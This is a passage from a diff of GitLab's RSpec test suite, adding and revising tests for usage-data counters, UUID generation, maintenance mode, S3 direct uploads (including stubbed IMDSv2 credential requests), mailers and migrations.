+ it 'increments counter and returns total count' do
+ expect(described_class.read(counter)).to eq(0)
+
+ 2.times { described_class.count(counter) }
+
+ expect(described_class.read(counter)).to eq(2)
+ end
+ end
+
+ it 'includes the right events' do
+ expect(described_class::KNOWN_EVENTS.size).to eq 33
+ end
+
+ described_class::KNOWN_EVENTS.each do |event|
+ it_behaves_like 'usage counter with totals', event
+ end
+
+ describe '.fetch_supported_event' do
+ subject { described_class.fetch_supported_event(event_name) }
+
+ let(:event_name) { 'package_guest_i_package_composer_guest_push' }
+
+ it { is_expected.to eq 'i_package_composer_guest_push' }
+ end
+end
diff --git a/spec/lib/gitlab/usage_data_counters/hll_redis_counter_spec.rb b/spec/lib/gitlab/usage_data_counters/hll_redis_counter_spec.rb
index 93704a39555..70ee9871486 100644
--- a/spec/lib/gitlab/usage_data_counters/hll_redis_counter_spec.rb
+++ b/spec/lib/gitlab/usage_data_counters/hll_redis_counter_spec.rb
@@ -30,6 +30,7 @@ RSpec.describe Gitlab::UsageDataCounters::HLLRedisCounter, :clean_gitlab_redis_s
'search',
'source_code',
'incident_management',
+ 'incident_management_alerts',
'testing',
'issues_edit',
'ci_secrets_management',
@@ -43,7 +44,8 @@ RSpec.describe Gitlab::UsageDataCounters::HLLRedisCounter, :clean_gitlab_redis_s
'golang_packages',
'debian_packages',
'container_packages',
- 'tag_packages'
+ 'tag_packages',
+ 'snippets'
)
end
end
diff --git a/spec/lib/gitlab/usage_data_counters/issue_activity_unique_counter_spec.rb b/spec/lib/gitlab/usage_data_counters/issue_activity_unique_counter_spec.rb
index 803eff05efe..bf43f7552e6 100644
--- a/spec/lib/gitlab/usage_data_counters/issue_activity_unique_counter_spec.rb
+++ b/spec/lib/gitlab/usage_data_counters/issue_activity_unique_counter_spec.rb
@@ -118,6 +118,16 @@ RSpec.describe Gitlab::UsageDataCounters::IssueActivityUniqueCounter, :clean_git
end
end
+ context 'for Issue cloned actions' do
+ it_behaves_like 'a tracked issue edit event' do
+ let(:action) { described_class::ISSUE_CLONED }
+
+ def track_action(params)
+ described_class.track_issue_cloned_action(**params)
+ end
+ end
+ end
+
context 'for Issue relate actions' do
it_behaves_like 'a tracked issue edit event' do
let(:action) { described_class::ISSUE_RELATED }
diff --git a/spec/lib/gitlab/usage_data_counters/search_counter_spec.rb b/spec/lib/gitlab/usage_data_counters/search_counter_spec.rb
index b55e20ba555..17188a75ccb 100644
--- a/spec/lib/gitlab/usage_data_counters/search_counter_spec.rb
+++ b/spec/lib/gitlab/usage_data_counters/search_counter_spec.rb
@@ -20,4 +20,12 @@ RSpec.describe Gitlab::UsageDataCounters::SearchCounter, :clean_gitlab_redis_sha
context 'navbar_searches counter' do
it_behaves_like 'usage counter with totals', :navbar_searches
end
+
+ describe '.fetch_supported_event' do
+ subject { described_class.fetch_supported_event(event_name) }
+
+ let(:event_name) { 'all_searches' }
+
+ it { is_expected.to eq 'all_searches' }
+ end
end
diff --git a/spec/lib/gitlab/usage_data_counters_spec.rb b/spec/lib/gitlab/usage_data_counters_spec.rb
new file mode 100644
index 00000000000..379a2cb778d
--- /dev/null
+++ b/spec/lib/gitlab/usage_data_counters_spec.rb
@@ -0,0 +1,32 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::UsageDataCounters do
+ describe '.usage_data_counters' do
+ subject { described_class.counters }
+
+ it { is_expected.to all(respond_to :totals) }
+ it { is_expected.to all(respond_to :fallback_totals) }
+ end
+
+ describe '.count' do
+ subject { described_class.count(event_name) }
+
+ let(:event_name) { 'static_site_editor_views' }
+
+ it 'increases a view counter' do
+ expect(Gitlab::UsageDataCounters::StaticSiteEditorCounter).to receive(:count).with('views')
+
+ subject
+ end
+
+ context 'when event_name is not defined' do
+ let(:event_name) { 'unknown' }
+
+ it 'raises an exception' do
+ expect { subject }.to raise_error(Gitlab::UsageDataCounters::UnknownEvent)
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/usage_data_spec.rb b/spec/lib/gitlab/usage_data_spec.rb
index d305b2c5bfe..c2d96369425 100644
--- a/spec/lib/gitlab/usage_data_spec.rb
+++ b/spec/lib/gitlab/usage_data_spec.rb
@@ -224,7 +224,7 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
gitlab: 2
},
projects_imported: {
- total: 20,
+ total: 2,
gitlab_project: 2,
gitlab: 2,
github: 2,
@@ -248,7 +248,7 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
gitlab: 1
},
projects_imported: {
- total: 10,
+ total: 1,
gitlab_project: 1,
gitlab: 1,
github: 1,
@@ -456,6 +456,7 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
expect(count_data[:projects]).to eq(4)
expect(count_data[:projects_asana_active]).to eq(0)
expect(count_data[:projects_prometheus_active]).to eq(1)
+ expect(count_data[:projects_jenkins_active]).to eq(1)
expect(count_data[:projects_jira_active]).to eq(4)
expect(count_data[:projects_jira_server_active]).to eq(2)
expect(count_data[:projects_jira_cloud_active]).to eq(2)
@@ -653,6 +654,7 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
it { is_expected.to include(:kubernetes_agent_gitops_sync) }
it { is_expected.to include(:static_site_editor_views) }
+ it { is_expected.to include(:package_guest_i_package_composer_guest_pull) }
end
describe '.usage_data_counters' do
@@ -840,24 +842,6 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
end
end
- describe '.cycle_analytics_usage_data' do
- subject { described_class.cycle_analytics_usage_data }
-
- it 'works when queries time out in new' do
- allow(Gitlab::CycleAnalytics::UsageData)
- .to receive(:new).and_raise(ActiveRecord::StatementInvalid.new(''))
-
- expect { subject }.not_to raise_error
- end
-
- it 'works when queries time out in to_json' do
- allow_any_instance_of(Gitlab::CycleAnalytics::UsageData)
- .to receive(:to_json).and_raise(ActiveRecord::StatementInvalid.new(''))
-
- expect { subject }.not_to raise_error
- end
- end
-
describe '.ingress_modsecurity_usage' do
subject { described_class.ingress_modsecurity_usage }
@@ -1054,6 +1038,14 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
end
end
end
+
+ describe ".system_usage_data_settings" do
+ subject { described_class.system_usage_data_settings }
+
+ it 'gathers settings usage data', :aggregate_failures do
+ expect(subject[:settings][:ldap_encrypted_secrets_enabled]).to eq(Gitlab::Auth::Ldap::Config.encrypted_secrets.active?)
+ end
+ end
end
describe '.merge_requests_users', :clean_gitlab_redis_shared_state do
@@ -1122,6 +1114,12 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
counter.track_web_ide_edit_action(author: user3, time: time - 3.days)
counter.track_snippet_editor_edit_action(author: user3)
+
+ counter.track_sse_edit_action(author: user1)
+ counter.track_sse_edit_action(author: user1)
+ counter.track_sse_edit_action(author: user2)
+ counter.track_sse_edit_action(author: user3)
+ counter.track_sse_edit_action(author: user2, time: time - 3.days)
end
it 'returns the distinct count of user actions within the specified time period' do
@@ -1134,7 +1132,8 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
action_monthly_active_users_web_ide_edit: 2,
action_monthly_active_users_sfe_edit: 2,
action_monthly_active_users_snippet_editor_edit: 2,
- action_monthly_active_users_ide_edit: 3
+ action_monthly_active_users_ide_edit: 3,
+ action_monthly_active_users_sse_edit: 3
}
)
end
@@ -1235,7 +1234,7 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
subject { described_class.redis_hll_counters }
let(:categories) { ::Gitlab::UsageDataCounters::HLLRedisCounter.categories }
- let(:ineligible_total_categories) { %w[source_code testing ci_secrets_management] }
+ let(:ineligible_total_categories) { %w[source_code testing ci_secrets_management incident_management_alerts snippets] }
it 'has all known_events' do
expect(subject).to have_key(:redis_hll_counters)
@@ -1256,45 +1255,21 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
end
end
- describe 'aggregated_metrics' do
- shared_examples 'aggregated_metrics_for_time_range' do
- context 'with product_analytics_aggregated_metrics feature flag on' do
- before do
- stub_feature_flags(product_analytics_aggregated_metrics: true)
- end
+ describe '.aggregated_metrics_weekly' do
+ subject(:aggregated_metrics_payload) { described_class.aggregated_metrics_weekly }
- it 'uses ::Gitlab::UsageDataCounters::HLLRedisCounter#aggregated_metrics_data', :aggregate_failures do
- expect(::Gitlab::UsageDataCounters::HLLRedisCounter).to receive(aggregated_metrics_data_method).and_return(global_search_gmau: 123)
- expect(aggregated_metrics_payload).to eq(aggregated_metrics: { global_search_gmau: 123 })
- end
- end
-
- context 'with product_analytics_aggregated_metrics feature flag off' do
- before do
- stub_feature_flags(product_analytics_aggregated_metrics: false)
- end
-
- it 'returns empty hash', :aggregate_failures do
- expect(::Gitlab::UsageDataCounters::HLLRedisCounter).not_to receive(aggregated_metrics_data_method)
- expect(aggregated_metrics_payload).to be {}
- end
- end
+ it 'uses ::Gitlab::UsageDataCounters::HLLRedisCounter#aggregated_metrics_data', :aggregate_failures do
+ expect(::Gitlab::UsageDataCounters::HLLRedisCounter).to receive(:aggregated_metrics_weekly_data).and_return(global_search_gmau: 123)
+ expect(aggregated_metrics_payload).to eq(aggregated_metrics: { global_search_gmau: 123 })
end
+ end
- describe '.aggregated_metrics_weekly' do
- subject(:aggregated_metrics_payload) { described_class.aggregated_metrics_weekly }
-
- let(:aggregated_metrics_data_method) { :aggregated_metrics_weekly_data }
-
- it_behaves_like 'aggregated_metrics_for_time_range'
- end
-
- describe '.aggregated_metrics_monthly' do
- subject(:aggregated_metrics_payload) { described_class.aggregated_metrics_monthly }
-
- let(:aggregated_metrics_data_method) { :aggregated_metrics_monthly_data }
+ describe '.aggregated_metrics_monthly' do
+ subject(:aggregated_metrics_payload) { described_class.aggregated_metrics_monthly }
- it_behaves_like 'aggregated_metrics_for_time_range'
+ it 'uses ::Gitlab::UsageDataCounters::HLLRedisCounter#aggregated_metrics_data', :aggregate_failures do
+ expect(::Gitlab::UsageDataCounters::HLLRedisCounter).to receive(:aggregated_metrics_monthly_data).and_return(global_search_gmau: 123)
+ expect(aggregated_metrics_payload).to eq(aggregated_metrics: { global_search_gmau: 123 })
end
end
@@ -1323,7 +1298,7 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
context 'and product_analytics FF is enabled for it' do
before do
- stub_feature_flags(product_analytics: project)
+ stub_feature_flags(product_analytics_tracking: true)
create(:product_analytics_event, project: project, se_category: 'epics', se_action: 'promote')
create(:product_analytics_event, project: project, se_category: 'epics', se_action: 'promote', collector_tstamp: 2.days.ago)
@@ -1339,7 +1314,7 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
context 'and product_analytics FF is disabled' do
before do
- stub_feature_flags(product_analytics: false)
+ stub_feature_flags(product_analytics_tracking: false)
end
it 'returns an empty hash' do
diff --git a/spec/lib/gitlab/user_access_spec.rb b/spec/lib/gitlab/user_access_spec.rb
index d6b1e3b2d4b..748a8336a25 100644
--- a/spec/lib/gitlab/user_access_spec.rb
+++ b/spec/lib/gitlab/user_access_spec.rb
@@ -310,4 +310,24 @@ RSpec.describe Gitlab::UserAccess do
end
end
end
+
+ describe '#can_push_for_ref?' do
+ let(:ref) { 'test_ref' }
+
+ context 'when user cannot push_code to a project repository (eg. as a guest)' do
+ it 'is false' do
+ project.add_user(user, :guest)
+
+ expect(access.can_push_for_ref?(ref)).to be_falsey
+ end
+ end
+
+ context 'when user can push_code to a project repository (eg. as a developer)' do
+ it 'is true' do
+ project.add_user(user, :developer)
+
+ expect(access.can_push_for_ref?(ref)).to be_truthy
+ end
+ end
+ end
end
diff --git a/spec/lib/gitlab/utils/usage_data_spec.rb b/spec/lib/gitlab/utils/usage_data_spec.rb
index 9c0dc69ccd1..521d6584a20 100644
--- a/spec/lib/gitlab/utils/usage_data_spec.rb
+++ b/spec/lib/gitlab/utils/usage_data_spec.rb
@@ -37,6 +37,36 @@ RSpec.describe Gitlab::Utils::UsageData do
end
end
+ describe '#estimate_batch_distinct_count' do
+ let(:relation) { double(:relation) }
+
+ it 'delegates counting to counter class instance' do
+ expect_next_instance_of(Gitlab::Database::PostgresHll::BatchDistinctCounter, relation, 'column') do |instance|
+ expect(instance).to receive(:estimate_distinct_count)
+ .with(batch_size: nil, start: nil, finish: nil)
+ .and_return(5)
+ end
+
+ expect(described_class.estimate_batch_distinct_count(relation, 'column')).to eq(5)
+ end
+
+ it 'returns default fallback value when counting fails due to database error' do
+ stub_const("Gitlab::Utils::UsageData::FALLBACK", 15)
+ allow(Gitlab::Database::PostgresHll::BatchDistinctCounter).to receive(:new).and_raise(ActiveRecord::StatementInvalid.new(''))
+
+ expect(described_class.estimate_batch_distinct_count(relation)).to eq(15)
+ end
+
+ it 'logs error and returns DISTRIBUTED_HLL_FALLBACK value when counting raises any error', :aggregate_failures do
+ error = StandardError.new('')
+ stub_const("Gitlab::Utils::UsageData::DISTRIBUTED_HLL_FALLBACK", 15)
+ allow(Gitlab::Database::PostgresHll::BatchDistinctCounter).to receive(:new).and_raise(error)
+
+ expect(Gitlab::ErrorTracking).to receive(:track_and_raise_for_dev_exception).with(error)
+ expect(described_class.estimate_batch_distinct_count(relation)).to eq(15)
+ end
+ end
+
describe '#sum' do
let(:relation) { double(:relation) }
diff --git a/spec/lib/gitlab/uuid_spec.rb b/spec/lib/gitlab/uuid_spec.rb
new file mode 100644
index 00000000000..a2e28f5a24d
--- /dev/null
+++ b/spec/lib/gitlab/uuid_spec.rb
@@ -0,0 +1,52 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::UUID do
+ let_it_be(:name) { "GitLab" }
+
+ describe '.v5' do
+ subject { described_class.v5(name) }
+
+ before do
+ # This is necessary to clear memoization for testing different environments
+ described_class.instance_variable_set(:@default_namespace_id, nil)
+ end
+
+ context 'in development' do
+ let_it_be(:development_proper_uuid) { "5b593e54-90f5-504b-8805-5394a4d14b94" }
+
+ before do
+ allow(Rails).to receive(:env).and_return(:development)
+ end
+
+ it { is_expected.to eq(development_proper_uuid) }
+ end
+
+ context 'in test' do
+ let_it_be(:test_proper_uuid) { "5b593e54-90f5-504b-8805-5394a4d14b94" }
+
+ it { is_expected.to eq(test_proper_uuid) }
+ end
+
+ context 'in staging' do
+ let_it_be(:staging_proper_uuid) { "dd190b37-7754-5c7c-80a0-85621a5823ad" }
+
+ before do
+ allow(Rails).to receive(:env).and_return(:staging)
+ end
+
+ it { is_expected.to eq(staging_proper_uuid) }
+ end
+
+ context 'in production' do
+ let_it_be(:production_proper_uuid) { "4961388b-9d8e-5da0-a499-3ef5da58daf0" }
+
+ before do
+ allow(Rails).to receive(:env).and_return(:production)
+ end
+
+ it { is_expected.to eq(production_proper_uuid) }
+ end
+ end
+end
diff --git a/spec/lib/gitlab/webpack/manifest_spec.rb b/spec/lib/gitlab/webpack/manifest_spec.rb
index 1427bdd7d4f..08b4774dd67 100644
--- a/spec/lib/gitlab/webpack/manifest_spec.rb
+++ b/spec/lib/gitlab/webpack/manifest_spec.rb
@@ -97,7 +97,7 @@ RSpec.describe Gitlab::Webpack::Manifest do
context "with dev server disabled" do
before do
allow(Gitlab.config.webpack.dev_server).to receive(:enabled).and_return(false)
- allow(File).to receive(:read).with(::Rails.root.join("manifest_output/my_manifest.json")).and_return(manifest)
+ stub_file_read(::Rails.root.join("manifest_output/my_manifest.json"), content: manifest)
end
describe ".asset_paths" do
@@ -105,7 +105,7 @@ RSpec.describe Gitlab::Webpack::Manifest do
it "errors if we can't find the manifest" do
allow(Gitlab.config.webpack).to receive(:manifest_filename).and_return('broken.json')
- allow(File).to receive(:read).with(::Rails.root.join("manifest_output/broken.json")).and_raise(Errno::ENOENT)
+ stub_file_read(::Rails.root.join("manifest_output/broken.json"), error: Errno::ENOENT)
expect { Gitlab::Webpack::Manifest.asset_paths("entry1") }.to raise_error(Gitlab::Webpack::Manifest::ManifestLoadError)
end
end
diff --git a/spec/lib/gitlab_danger_spec.rb b/spec/lib/gitlab_danger_spec.rb
index e332647cf8a..ed668c52a0e 100644
--- a/spec/lib/gitlab_danger_spec.rb
+++ b/spec/lib/gitlab_danger_spec.rb
@@ -1,6 +1,6 @@
# frozen_string_literal: true
-require 'spec_helper'
+require 'fast_spec_helper'
RSpec.describe GitlabDanger do
let(:gitlab_danger_helper) { nil }
@@ -9,7 +9,7 @@ RSpec.describe GitlabDanger do
describe '.local_warning_message' do
it 'returns an informational message with rules that can run' do
- expect(described_class.local_warning_message).to eq('==> Only the following Danger rules can be run locally: changes_size, documentation, frozen_string, duplicate_yarn_dependencies, prettier, eslint, karma, database, commit_messages, product_analytics, utility_css, pajamas')
+ expect(described_class.local_warning_message).to eq("==> Only the following Danger rules can be run locally: #{described_class::LOCAL_RULES.join(', ')}")
end
end
diff --git a/spec/lib/gitlab_spec.rb b/spec/lib/gitlab_spec.rb
index 7c2758bf27e..e1b8323eb8e 100644
--- a/spec/lib/gitlab_spec.rb
+++ b/spec/lib/gitlab_spec.rb
@@ -26,18 +26,17 @@ RSpec.describe Gitlab do
end
it 'returns the actual Git revision' do
- expect(File).to receive(:read)
- .with(described_class.root.join('REVISION'))
- .and_return("abc123\n")
+ expect_file_read(described_class.root.join('REVISION'), content: "abc123\n")
expect(described_class.revision).to eq('abc123')
end
it 'memoizes the revision' do
+ stub_file_read(described_class.root.join('REVISION'), content: "abc123\n")
+
expect(File).to receive(:read)
- .once
- .with(described_class.root.join('REVISION'))
- .and_return("abc123\n")
+ .once
+ .with(described_class.root.join('REVISION'))
2.times { described_class.revision }
end
@@ -330,4 +329,24 @@ RSpec.describe Gitlab do
expect(described_class.http_proxy_env?).to eq(false)
end
end
+
+ describe '.maintenance_mode?' do
+ it 'returns true when maintenance mode is enabled' do
+ stub_application_setting(maintenance_mode: true)
+
+ expect(described_class.maintenance_mode?).to eq(true)
+ end
+
+ it 'returns false when maintenance mode is disabled' do
+ stub_application_setting(maintenance_mode: false)
+
+ expect(described_class.maintenance_mode?).to eq(false)
+ end
+
+ it 'returns false when maintenance mode feature flag is disabled' do
+ stub_feature_flags(maintenance_mode: false)
+
+ expect(described_class.maintenance_mode?).to eq(false)
+ end
+ end
end
diff --git a/spec/lib/microsoft_teams/notifier_spec.rb b/spec/lib/microsoft_teams/notifier_spec.rb
index c35d7e8420c..3b7892334dd 100644
--- a/spec/lib/microsoft_teams/notifier_spec.rb
+++ b/spec/lib/microsoft_teams/notifier_spec.rb
@@ -51,11 +51,11 @@ RSpec.describe MicrosoftTeams::Notifier do
describe '#body' do
it 'returns Markdown-based body when HTML was passed' do
- expect(subject.send(:body, options)).to eq(body.to_json)
+ expect(subject.send(:body, **options)).to eq(body.to_json)
end
it 'fails when empty Hash was passed' do
- expect { subject.send(:body, {}) }.to raise_error(ArgumentError)
+ expect { subject.send(:body, **{}) }.to raise_error(ArgumentError)
end
end
end
diff --git a/spec/lib/object_storage/direct_upload_spec.rb b/spec/lib/object_storage/direct_upload_spec.rb
index 932d579c3cc..bd9d197afa0 100644
--- a/spec/lib/object_storage/direct_upload_spec.rb
+++ b/spec/lib/object_storage/direct_upload_spec.rb
@@ -162,6 +162,10 @@ RSpec.describe ObjectStorage::DirectUpload do
it 'enables the Workhorse client' do
expect(subject[:UseWorkhorseClient]).to be true
end
+
+ it 'omits the multipart upload URLs' do
+ expect(subject).not_to include(:MultipartUpload)
+ end
end
context 'when only server side encryption is used' do
@@ -292,6 +296,7 @@ RSpec.describe ObjectStorage::DirectUpload do
context 'when IAM profile is true' do
let(:use_iam_profile) { true }
+ let(:iam_credentials_v2_url) { "http://169.254.169.254/latest/api/token" }
let(:iam_credentials_url) { "http://169.254.169.254/latest/meta-data/iam/security-credentials/" }
let(:iam_credentials) do
{
@@ -303,6 +308,9 @@ RSpec.describe ObjectStorage::DirectUpload do
end
before do
+ # If IMDSv2 is disabled, we should still fall back to IMDSv1
+ stub_request(:put, iam_credentials_v2_url)
+ .to_return(status: 404)
stub_request(:get, iam_credentials_url)
.to_return(status: 200, body: "somerole", headers: {})
stub_request(:get, "#{iam_credentials_url}somerole")
@@ -310,6 +318,21 @@ RSpec.describe ObjectStorage::DirectUpload do
end
it_behaves_like 'a valid S3 upload without multipart data'
+
+ context 'when IMSDv2 is available' do
+ let(:iam_token) { 'mytoken' }
+
+ before do
+ stub_request(:put, iam_credentials_v2_url)
+ .to_return(status: 200, body: iam_token)
+ stub_request(:get, iam_credentials_url).with(headers: { "X-aws-ec2-metadata-token" => iam_token })
+ .to_return(status: 200, body: "somerole", headers: {})
+ stub_request(:get, "#{iam_credentials_url}somerole").with(headers: { "X-aws-ec2-metadata-token" => iam_token })
+ .to_return(status: 200, body: iam_credentials.to_json, headers: {})
+ end
+
+ it_behaves_like 'a valid S3 upload without multipart data'
+ end
end
end
@@ -321,6 +344,30 @@ RSpec.describe ObjectStorage::DirectUpload do
stub_object_storage_multipart_init(storage_url, "myUpload")
end
+ context 'when maximum upload size is 0' do
+ let(:maximum_size) { 0 }
+
+ it 'returns maximum number of parts' do
+ expect(subject[:MultipartUpload][:PartURLs].length).to eq(100)
+ end
+
+ it 'part size is minimum, 5MB' do
+ expect(subject[:MultipartUpload][:PartSize]).to eq(5.megabyte)
+ end
+ end
+
+ context 'when maximum upload size is < 5 MB' do
+ let(:maximum_size) { 1024 }
+
+ it 'returns only 1 part' do
+ expect(subject[:MultipartUpload][:PartURLs].length).to eq(1)
+ end
+
+ it 'part size is minimum, 5MB' do
+ expect(subject[:MultipartUpload][:PartSize]).to eq(5.megabyte)
+ end
+ end
+
context 'when maximum upload size is 10MB' do
let(:maximum_size) { 10.megabyte }
diff --git a/spec/lib/product_analytics/tracker_spec.rb b/spec/lib/product_analytics/tracker_spec.rb
index 0d0660235f1..52470c9c039 100644
--- a/spec/lib/product_analytics/tracker_spec.rb
+++ b/spec/lib/product_analytics/tracker_spec.rb
@@ -5,53 +5,4 @@ require 'spec_helper'
RSpec.describe ProductAnalytics::Tracker do
it { expect(described_class::URL).to eq('http://localhost/-/sp.js') }
it { expect(described_class::COLLECTOR_URL).to eq('localhost/-/collector') }
-
- describe '.event' do
- after do
- described_class.clear_memoization(:snowplow)
- end
-
- context 'when usage ping is enabled' do
- let(:tracker) { double }
- let(:project_id) { 1 }
-
- before do
- stub_application_setting(usage_ping_enabled: true, self_monitoring_project_id: project_id)
- end
-
- it 'sends an event to Product Analytics snowplow collector' do
- expect(SnowplowTracker::AsyncEmitter)
- .to receive(:new)
- .with(described_class::COLLECTOR_URL, { protocol: 'http' })
- .and_return('_emitter_')
-
- expect(SnowplowTracker::Tracker)
- .to receive(:new)
- .with('_emitter_', an_instance_of(SnowplowTracker::Subject), 'gl', project_id.to_s)
- .and_return(tracker)
-
- freeze_time do
- expect(tracker)
- .to receive(:track_struct_event)
- .with('category', 'action', '_label_', '_property_', '_value_', nil, (Time.current.to_f * 1000).to_i)
-
- described_class.event('category', 'action', label: '_label_', property: '_property_',
- value: '_value_', context: nil)
- end
- end
- end
-
- context 'when usage ping is disabled' do
- before do
- stub_application_setting(usage_ping_enabled: false)
- end
-
- it 'does not send an event' do
- expect(SnowplowTracker::Tracker).not_to receive(:new)
-
- described_class.event('category', 'action', label: '_label_', property: '_property_',
- value: '_value_', context: nil)
- end
- end
- end
end
diff --git a/spec/lib/quality/test_level_spec.rb b/spec/lib/quality/test_level_spec.rb
index 0239c974755..2232d47234f 100644
--- a/spec/lib/quality/test_level_spec.rb
+++ b/spec/lib/quality/test_level_spec.rb
@@ -28,7 +28,7 @@ RSpec.describe Quality::TestLevel do
context 'when level is unit' do
it 'returns a pattern' do
expect(subject.pattern(:unit))
- .to eq("spec/{bin,channels,config,db,dependencies,factories,finders,frontend,graphql,haml_lint,helpers,initializers,javascripts,lib,models,policies,presenters,rack_servers,replicators,routing,rubocop,serializers,services,sidekiq,support_specs,tasks,uploaders,validators,views,workers,elastic_integration,tooling}{,/**/}*_spec.rb")
+ .to eq("spec/{bin,channels,config,db,dependencies,elastic,elastic_integration,experiments,factories,finders,frontend,graphql,haml_lint,helpers,initializers,javascripts,lib,models,policies,presenters,rack_servers,replicators,routing,rubocop,serializers,services,sidekiq,support_specs,tasks,uploaders,validators,views,workers,tooling}{,/**/}*_spec.rb")
end
end
@@ -103,7 +103,7 @@ RSpec.describe Quality::TestLevel do
context 'when level is unit' do
it 'returns a regexp' do
expect(subject.regexp(:unit))
- .to eq(%r{spec/(bin|channels|config|db|dependencies|factories|finders|frontend|graphql|haml_lint|helpers|initializers|javascripts|lib|models|policies|presenters|rack_servers|replicators|routing|rubocop|serializers|services|sidekiq|support_specs|tasks|uploaders|validators|views|workers|elastic_integration|tooling)})
+ .to eq(%r{spec/(bin|channels|config|db|dependencies|elastic|elastic_integration|experiments|factories|finders|frontend|graphql|haml_lint|helpers|initializers|javascripts|lib|models|policies|presenters|rack_servers|replicators|routing|rubocop|serializers|services|sidekiq|support_specs|tasks|uploaders|validators|views|workers|tooling)})
end
end
@@ -174,6 +174,10 @@ RSpec.describe Quality::TestLevel do
expect(subject.level_for('spec/lib/gitlab/background_migration/archive_legacy_traces_spec.rb')).to eq(:migration)
end
+ it 'returns the correct level for an EE file without passing a prefix' do
+ expect(subject.level_for('ee/spec/migrations/geo/migrate_ci_job_artifacts_to_separate_registry_spec.rb')).to eq(:migration)
+ end
+
it 'returns the correct level for a geo migration test' do
expect(described_class.new('ee/').level_for('ee/spec/migrations/geo/migrate_ci_job_artifacts_to_separate_registry_spec.rb')).to eq(:migration)
end
diff --git a/spec/mailers/emails/projects_spec.rb b/spec/mailers/emails/projects_spec.rb
index 6c23625d4a3..a1f19a972f1 100644
--- a/spec/mailers/emails/projects_spec.rb
+++ b/spec/mailers/emails/projects_spec.rb
@@ -19,11 +19,9 @@ RSpec.describe Emails::Projects do
create(:project_incident_management_setting, project: project, create_issue: true)
end
- let(:incident_issues_url) do
- project_issues_url(project, label_name: 'incident')
- end
+ let(:incidents_url) { project_incidents_url(project) }
- it { is_expected.to have_body_text(incident_issues_url) }
+ it { is_expected.to have_body_text(incidents_url) }
end
end
diff --git a/spec/mailers/emails/releases_spec.rb b/spec/mailers/emails/releases_spec.rb
index 60e522c7cfa..6ee87724c83 100644
--- a/spec/mailers/emails/releases_spec.rb
+++ b/spec/mailers/emails/releases_spec.rb
@@ -49,5 +49,14 @@ RSpec.describe Emails::Releases do
is_expected.to have_body_text('Release notes:')
is_expected.to have_body_text(release.description)
end
+
+ context 'release notes with attachment' do
+ let(:upload_path) { '/uploads/e90decf88d8f96fe9e1389afc2e4a91f/test.jpg' }
+ let(:release) { create(:release, project: project, description: "Attachment: [Test file](#{upload_path})") }
+
+ it 'renders absolute links' do
+ is_expected.to have_body_text(%Q(<a href="#{project.web_url}#{upload_path}" data-link="true" class="gfm">Test file</a>))
+ end
+ end
end
end
diff --git a/spec/mailers/notify_spec.rb b/spec/mailers/notify_spec.rb
index 3cc5f202b1f..3ebc2fc1e36 100644
--- a/spec/mailers/notify_spec.rb
+++ b/spec/mailers/notify_spec.rb
@@ -1284,7 +1284,7 @@ RSpec.describe Notify do
context 'for service desk issues' do
before do
- issue.update!(service_desk_reply_to: 'service.desk@example.com')
+ issue.update!(external_author: 'service.desk@example.com')
end
def expect_sender(username)
@@ -1450,38 +1450,6 @@ RSpec.describe Notify do
subject { described_class.member_invited_email('Group', group_member.id, group_member.invite_token) }
- shared_examples "tracks the 'sent' event for the invitation reminders experiment" do
- before do
- stub_experiment(invitation_reminders: true)
- allow(Gitlab::Experimentation).to receive(:enabled_for_attribute?).with(:invitation_reminders, group_member.invite_email).and_return(experimental_group)
- end
-
- it "tracks the 'sent' event", :snowplow do
- subject.deliver_now
-
- expect_snowplow_event(
- category: 'Growth::Acquisition::Experiment::InvitationReminders',
- label: Digest::MD5.hexdigest(group_member.to_global_id.to_s),
- property: experimental_group ? 'experimental_group' : 'control_group',
- action: 'sent'
- )
- end
- end
-
- describe 'tracking for the invitation reminders experiment' do
- context 'when invite email is in the experimental group' do
- let(:experimental_group) { true }
-
- it_behaves_like "tracks the 'sent' event for the invitation reminders experiment"
- end
-
- context 'when invite email is in the control group' do
- let(:experimental_group) { false }
-
- it_behaves_like "tracks the 'sent' event for the invitation reminders experiment"
- end
- end
-
it_behaves_like 'an email sent from GitLab'
it_behaves_like 'it should not have Gmail Actions links'
it_behaves_like "a user cannot unsubscribe through footer link"
diff --git a/spec/migrations/20190924152703_migrate_issue_trackers_data_spec.rb b/spec/migrations/20190924152703_migrate_issue_trackers_data_spec.rb
index 11398685549..47f85df01ac 100644
--- a/spec/migrations/20190924152703_migrate_issue_trackers_data_spec.rb
+++ b/spec/migrations/20190924152703_migrate_issue_trackers_data_spec.rb
@@ -15,35 +15,35 @@ RSpec.describe MigrateIssueTrackersData do
end
let!(:jira_service) do
- services.create(type: 'JiraService', properties: properties, category: 'issue_tracker')
+ services.create!(type: 'JiraService', properties: properties, category: 'issue_tracker')
end
let!(:jira_service_nil) do
- services.create(type: 'JiraService', properties: nil, category: 'issue_tracker')
+ services.create!(type: 'JiraService', properties: nil, category: 'issue_tracker')
end
let!(:bugzilla_service) do
- services.create(type: 'BugzillaService', properties: properties, category: 'issue_tracker')
+ services.create!(type: 'BugzillaService', properties: properties, category: 'issue_tracker')
end
let!(:youtrack_service) do
- services.create(type: 'YoutrackService', properties: properties, category: 'issue_tracker')
+ services.create!(type: 'YoutrackService', properties: properties, category: 'issue_tracker')
end
let!(:youtrack_service_empty) do
- services.create(type: 'YoutrackService', properties: '', category: 'issue_tracker')
+ services.create!(type: 'YoutrackService', properties: '', category: 'issue_tracker')
end
let!(:gitlab_service) do
- services.create(type: 'GitlabIssueTrackerService', properties: properties, category: 'issue_tracker')
+ services.create!(type: 'GitlabIssueTrackerService', properties: properties, category: 'issue_tracker')
end
let!(:gitlab_service_empty) do
